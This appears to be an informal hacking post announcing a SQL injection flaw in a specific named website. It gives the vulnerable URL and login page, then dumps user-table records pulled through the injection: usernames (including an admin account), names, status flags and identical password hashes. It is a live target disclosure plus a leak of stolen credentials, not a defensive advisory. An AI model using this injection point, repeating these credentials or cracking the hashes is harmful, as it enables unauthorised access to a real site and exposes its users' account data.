a website have qsl-injection

http://www.imagesystems.com.mt/index.php?id=10
================================================

login page:
http://www.imagesystems.com.mt/login.php



some informations i could extract:

Data Found: id=9
Data Found: first_name=PreeoStudios
Data Found: surname=PreeoStudios
Data Found: group_id=0
Data Found: username=preeo
Data Found: password=db77b6512eaf8bdc078947f784e51caa
Data Found: current_status=0

Data Found: id=10
Data Found: first_name=ImageSystems
Data Found: surname=Admin
Data Found: group_id=0
Data Found: username=imagesystems_admin
Data Found: password=db77b6512eaf8bdc078947f784e51caa
Data Found: current_status=0

Data Found: id=11
Data Found: first_name=test
Data Found: surname=test
Data Found: group_id=0
Data Found: username=test
Data Found: password=db77b6512eaf8bdc078947f784e51caa
Data Found: current_status=1